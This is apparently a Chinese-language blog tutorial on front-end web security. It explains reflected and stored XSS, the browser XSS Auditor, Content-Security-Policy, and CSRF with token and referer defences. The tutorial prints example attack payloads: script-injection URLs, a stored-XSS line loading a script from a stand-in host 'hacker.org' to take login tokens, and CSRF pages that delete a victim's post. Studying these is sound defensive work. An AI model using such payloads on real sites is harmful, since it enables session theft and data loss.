Web前端攻防,一不小心就中招了
随着各浏览器安全功能的提高,前端防御面临的问题也没有之前那么复杂,但浏览器的防御措施并不能百分百的保证网站的安全。
浏览器的XSS Auditor,使得反射型xss几乎被废;CSP(Content-Security-Policy)、X-XSS-Protection可以禁止不可信源的脚本执行!无疑,这对xss攻击是一记重拳。但是道高一尺,魔高一丈,尤其是在安全界,永远应该记住的一句箴言就是“只有相对的安全,没有绝对的安全”。
本文重点介绍现代浏览器的安全特性以及浏览器依然不能防御的攻击手段。
01- XSS
XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和 CSS混淆,故将跨站脚本攻击缩写为XSS。
为什么叫跨站脚本?简单来说,就是在一个网站上运行了该网站之外的js脚本(当然,开发者自已引用的可信源的js不算,比如使用了cdn的 jQuery )。
02- 一个经典的例子
假设有一个搜索页面,关键字以Get方法传递。假设,搜索页面在输出结果时会无过滤的将用户的关键字回显到网页上,大致逻辑如下:
//xss.php
<?php
if(isset($_REQUEST["wd"]))
$wd=$_REQUEST["wd"];
if($wd){
echo "<div>关键字'$wd'搜索的结果如下:</div>"
}
...
?>
然后搜索请求的链接是:
http://localhost/test/haker/xss.php?wd=<script>alert("xss")</script>
或者为了隐蔽编一下码:
http://localhost/test/haker/xss.php?wd=ddd%3Cscript%3Ealert(%22%22)%3C/script%3E
在es6下,你甚者可以用unicode码点。
如果是在几年前,你的浏览器大致都会弹出这样一个窗口:

然而,现在不行了,在chrome和safari下,如果发现响应中包含请求参数中相同的代码字符串,它们就会拒绝执行这些代码,你会收到如下的错误提示:
The XSS Auditor refused to execute a script in 'http://localhost/test/haker/xss.php?wd=ddd%3Cscript%3Ealert(%22xss%22)%3C/script%3E' because its source code was found within the request. The auditor was enabled as the server sent neither an 'X-XSS-Protection' nor 'Content-Security-Policy' header.
03- XSS Auditor
xss auditor是Chrome 和 Safari中内建的一个防御xss攻击的功能模块,相当于一个审计器,有预设规则,主要功能就是针对上述这种情况。此功能默认是开启的,当然也可以关闭,需要在response header中显式指定:
//关闭 xss auditor
X-XSS-Protection: 0
当然,更强大的是,触发后还可以将详情上报,便于分析跟踪:
X-XSS-Protection: 1; report=http://example.com/your_report_URI
也可以使用block模式:一旦触发,当前页面就会终止,并同时展示一个空白页面给用户:
X-XSS-Protection: 1; mode=block
如果将请求换成post,xss auditor还会被触发吗?答案是:可以!
XSS Auditor的缺点
我们将后台逻辑改一下,给每个">"后加一个分号。
<?php
if(isset($_REQUEST["wd"]))
$wd=str_replace(">",">;",$_REQUEST["wd"]);
if($wd){
echo "<div>关键字'$wd'搜索的结果如下:</div>"
}
?>
然后依然是之前的链接,刷新:

成功了,当然本例只是一个说明,通常情况下,我们都会对用户提交的数据进行一些处理,如果这些处理导致和提交的内容不一样了,但是仍然可以执行,比如像本例一样。那么xss auditor 就无能为力了。不过xss auditor本身的智能度也挺高,像字符编码,大小写变化这种变化依然躲不过xss auditor。
04- 存储型xss
比如网站有个留言板功能,但后台未对用户输入进行过滤,攻击者可以在留言编辑框中输入:
<script src="http://www.hacker.org/xss.payload.js"></script>
然后再随便输入点其它文字,提交留言,提交成功后,内容将会被保存到服务器数据库,只要再访问留言列表,这个就会被插入到网页中,xss.payload.js中的代码就可以执行,如果访问的用户都是已登录用户,xss.payload.js可以获取老浏览用户的信息,如的登录token、用户的个人资料等,payload甚至可以拉一个全家桶下来。以前的防御手段主要是对用户输入进行过滤如:去除html标签,实体化,关键字过滤等等,这样一来,最终的结果就是后台的大多数代码都是在做字符串验证,非常的让人不舒服。所以W3 org引入了CSP:
05- Content-Security-Policy
Content-Security-Policy 是W3 org草案,主要是用来定义页面可以加载哪些资源,减少 XSS 的发生,chrome已经支持,详情可以参考 Chrome CSP 官方文档。这样一来,从源头上杜绝了不可信源的xss payload加载的可能型。比如下面的配置只允许加载本域下的脚本:
Content-Security-Policy: default-src 'self'
这样即使页面被注入了外部脚本,浏览器也会拒绝执行,你会收到如下的错误提示:
Refused to load the script 'http://www.hacker.org/xss.payload.js' because it violates the following Content Security Policy directive: "default-src 'self'". Note that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.
当然,CSP能指定的规则是很多的,甚至也可以禁止内联脚本执行,详情请移步 W3 CSP。 浏览器的支持情况请移步 Can I use Content Security Policy。
06- CSRF
复制一段百度的介绍:CSRF(Cross-site request forgery跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
CSRF攻击流程
用户登录受信任网站A。
在不退出 A的情况下,访问危险网站B(攻击者网站或攻击者挂马的网站)。
举个例子,假设A网站是个博客网站,用户登录之后可以删除自己的博客,删除的链接如下:
http://www.a.com/resource/delete/{blogid}
先看看后台登录逻辑:用户登录成功后,创建session,然后将session id通过cookie传给浏览器,这样便可以跟踪用户登录状态,以后所有的操作都是登录态的操作。删除博客时后台的逻辑是这样的:删除之前,先检验用户身份,如果身份校验通过则删除,如果未登录,则重定向到登录页面。
假设攻击者在这篇博客下面评论如下:
“hi 你好,读了你的博客很受益,我有一个问题,请大牛解惑,链接是b,多谢️!”
看了这条评论后,你内心很满足,于是决定指导一下这位粉丝,你点了链接,回答了问题,自信满满地返回到自己的博客,然后突然发现 “博客找不到了”! 怪哉,why? 中招了!
问题就在你刚才访问过的网页。假设你的博客id=8, b网页内容大致如下:
<html>
...
<img src='http://www.a.com/resource/delete/8'/>
...
<html>
网页中img src正是删除你的博客链接,或许你会说,后台不是有身份认证么?是的,后台的确有身份认证,但此时访问b,你并没有退出登录,而此时b中浏览器又发起了http://www.a.com/resource/delete/8 请求(同时会发送该域下的cookie),这样一来,后台用户认证会通过,所以删除会成功。ps:是不是以后可以用这招去删帖了。。。
如果是post请求呢?
<html>
...
<form method="post" action="http://www.a.com/resource/delete/">
<input type="hidden" name=id value=8>
</form>
<script>
$("form").submit()
</script>
...
<html>
在b页面中,制造一个表单,然后直接触发提交,依然可以!
07-
CSRF攻击防御
随机值法
后台对每一次请求都生成一个随机值,保存在session中,然后再将该值发送给页面,可以在cookie中,也可以在一个隐藏的表单中(大多数后台框架都是这么做的,如php的symfony、laraval),甚至也可以是在验证码中。下面以表单为例来说明:
<?php
$hash = random(100000);
?>
<form method="post" action="delete/">
<input type="id" name="8">
<input type="hidden" name="hash" value="<?php $hash; ?>">
<input type="submit" value="Submit">
</form>
然后提交时,服务端再对比hash值是不是和session中一样。 攻击者网站时无法预估这个hash的。但是请注意,在上面所述的攻击场景中,把hash存在cookie中时不行的。
检测refer
后台在进行删除操作之前先判断refer,如果不是本域的请求,则直接拒绝,这种做法很有效。但是,想想这样一个场景:如果博客允许评论里面插图,攻击者完全可以将 img插入到原网站中,这样refer还是在当下域名,博客依然会被删除。所有可能引入链接的html标签都是不可信的,如script、link,后台过滤策略一定要考虑到。
07- 总结
其实可以看到,上面的攻击虽说现场是在前端,但是本质还是服务端验证不足、过滤不全导致。对于前端来说,防御所做的事有限,但是站在攻击者角度来讲,又必需精通前端。今天只是web渗透的皮毛,如果大家有兴趣,可以在评论中留言,以后也可以多分享一些服务器渗透、操作系统安全方面的,当然根据期待度以及我的时间而定。
我有一个前端学习交流QQ群:328058344 如果你在学习前端的过程中遇到什么问题,欢迎来我的QQ群提问,群里每天还会更新一些学习资源。禁止闲聊,非喜勿进。
Web前端攻防,一不小心就中招了的更多相关文章
- Web 前端攻防(2014版)-baidu ux前端研发部
http://fex.baidu.com/articles/page2/ Web 前端攻防(2014版) zjcqoo | 20 Jun 2014 禁止一切外链资源 外链会产生站外请求,因此可以被利用 ...
- 新手学习WEB前端流程以及学习中常见的误区
学习web前端编程技术肯定是以就业拿到高薪工作为主要目的的,可是高薪不会那么轻易拿到,这是一个最简单的道理.没有付出就没有回报,在整个学习web前端编程技术的过程中,你需要付出时间.精力.金钱.废话不 ...
- Web 前端攻防(2014版)
在百度 FEX 团队时写的.有次让我写点前端开发中注意的安全规范,结果写着写着就跑题了,写了一堆纯前端实现的攻击方式...当然还有防范措施. 文章就懒得粘过来了~ 直接贴个地址算了:) http:// ...
- web前端之html5开发中常用的开发工具
正所谓“工欲善其事,必先利其器”,对Web开发人员来说,好工具的使用总会给人带来事半功倍的效果.正准备学习HTML5或者已经进行了一段时间的HTML5开发的童鞋,都有必要了解下,HTML5都有哪些开发 ...
- 京东UED招聘web前端开发工程师(中/高级)
工作职责: 负责前端界面的构建和各类交互设计与实现: 前端样式和脚本的模块设计及优化: 协同后台开发人员完成项目: 负责新产品开发线前端工作(新产品.垂直站.移动端 .后端系统),可根据个人喜好及特长 ...
- [Web 前端] 如何在React中做Ajax 请求?
cp from : https://segmentfault.com/a/1190000007564792 如何在React中做Ajax 请求? 首先:React本身没有独有的获取数据的方式.实际上, ...
- web前端面试系列 - js中的prototype
js中一切皆为对象,其中函数也是一种对象, 而每个函数都有一个prototype属性,其值也是一个对象. 一.prototype的作用 1. 在多个实例对象之间共享数据和方法. 2. 通过原型链实现继 ...
- web前端知识体系总结
1. 前言 大约在几个月之前,让我看完了<webkit技术内幕>这本书的时候,突然有了一个想法.想把整个web前端开发所需要的知识都之中在一个视图中,形成一个完整的web前端知识体系,目的 ...
- web前端职业规划(转)
关于一个WEB前端的职业规划,其实是有各种的答案,没有哪种答案是完全正确的,全凭自己的选择,只要是自己选定了, 坚持去认真走,就好.在这里,我只是简要说一下自己对于这块儿内容的理解.有一个观点想要分享 ...
随机推荐
- Hihocoder #1077 : RMQ问题再临-线段树(线段树:结构体建树+更新叶子往上+查询+巧妙使用father[]+线段树数组要开大4倍 *【模板】)
#1077 : RMQ问题再临-线段树 时间限制:10000ms 单点时限:1000ms 内存限制:256MB 描述 上回说到:小Hi给小Ho出了这样一道问题:假设整个货架上从左到右摆放了N种商品,并 ...
- HDU3533 Escape —— BFS / A*算法 + 预处理
题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=3533 Escape Time Limit: 20000/10000 MS (Java/Others) ...
- phpMVC框架的核心启动类定义
<?php//核心启动类class Framework { //定义一个run方法 public static function run(){ // echo "hello,wrold ...
- 编写hadoop程序并打成jar包上传到hadoop集群运行
准备工作: 1. hadoop集群(我用的是hadoop-2.7.3版本),这里hadoop有两种:1是编译好的hadoop-2.7.3:2是源代码hadoop-2.7.3-src: 2. 自己的机器 ...
- 语言学习系列-Scala连接数据库示例
Scala语法 预装数据库Mysql,登录用户名密码为:root:root,建立数据库test1,建立数据表emp: package com.ccb.day1 import java.sql.Dr ...
- ASP.NET Core MVC 2.x 全面教程_ASP.NET Core MVC 17. 基于Claim和Policy的授权 上
首先补一下昨天没有讲的东西 只有管理员才能访问UserController RoleController都加上这个角色 Cliam 不是管理员角色的用户访问 cliam是name个Value值的键值对 ...
- JS中的回调函数实例浅析
本文实例讲述了JS中的回调函数.分享给大家供大家参考,具体如下: 在说回调函数之前,不妨先看一段代码,相信有点js基础的同学都能明白他的含义: ? 1 2 3 document.getElementB ...
- 51nod1270 【dp】
思路: dp[i][0]代表第i个位置取1,dp[i][1]代表第i个位置取b[i]. #include <bits/stdc++.h> using namespace std; type ...
- [热拔插] 轻量级Winform插件式框架
写在前面的话 对于大神,Winform这种“古董玩具”,实在没太多“技术性”可言了,然而『好用才是王道』,本文不以技术为卖点,纯属经验之谈,欢迎交流拍砖 朴素版UI 开发初衷 由于本人所在公司不定时需 ...
- 第三章 Python运算符
1.算数运算符 运算符 描述 实例 + 加 - 两个对象相加 a + b 输出结果 31 - 减 - 得到负数或是一个数减去另一个数 a - b 输出结果 * 乘 - 两个数相乘或是返回一个被重复若干 ...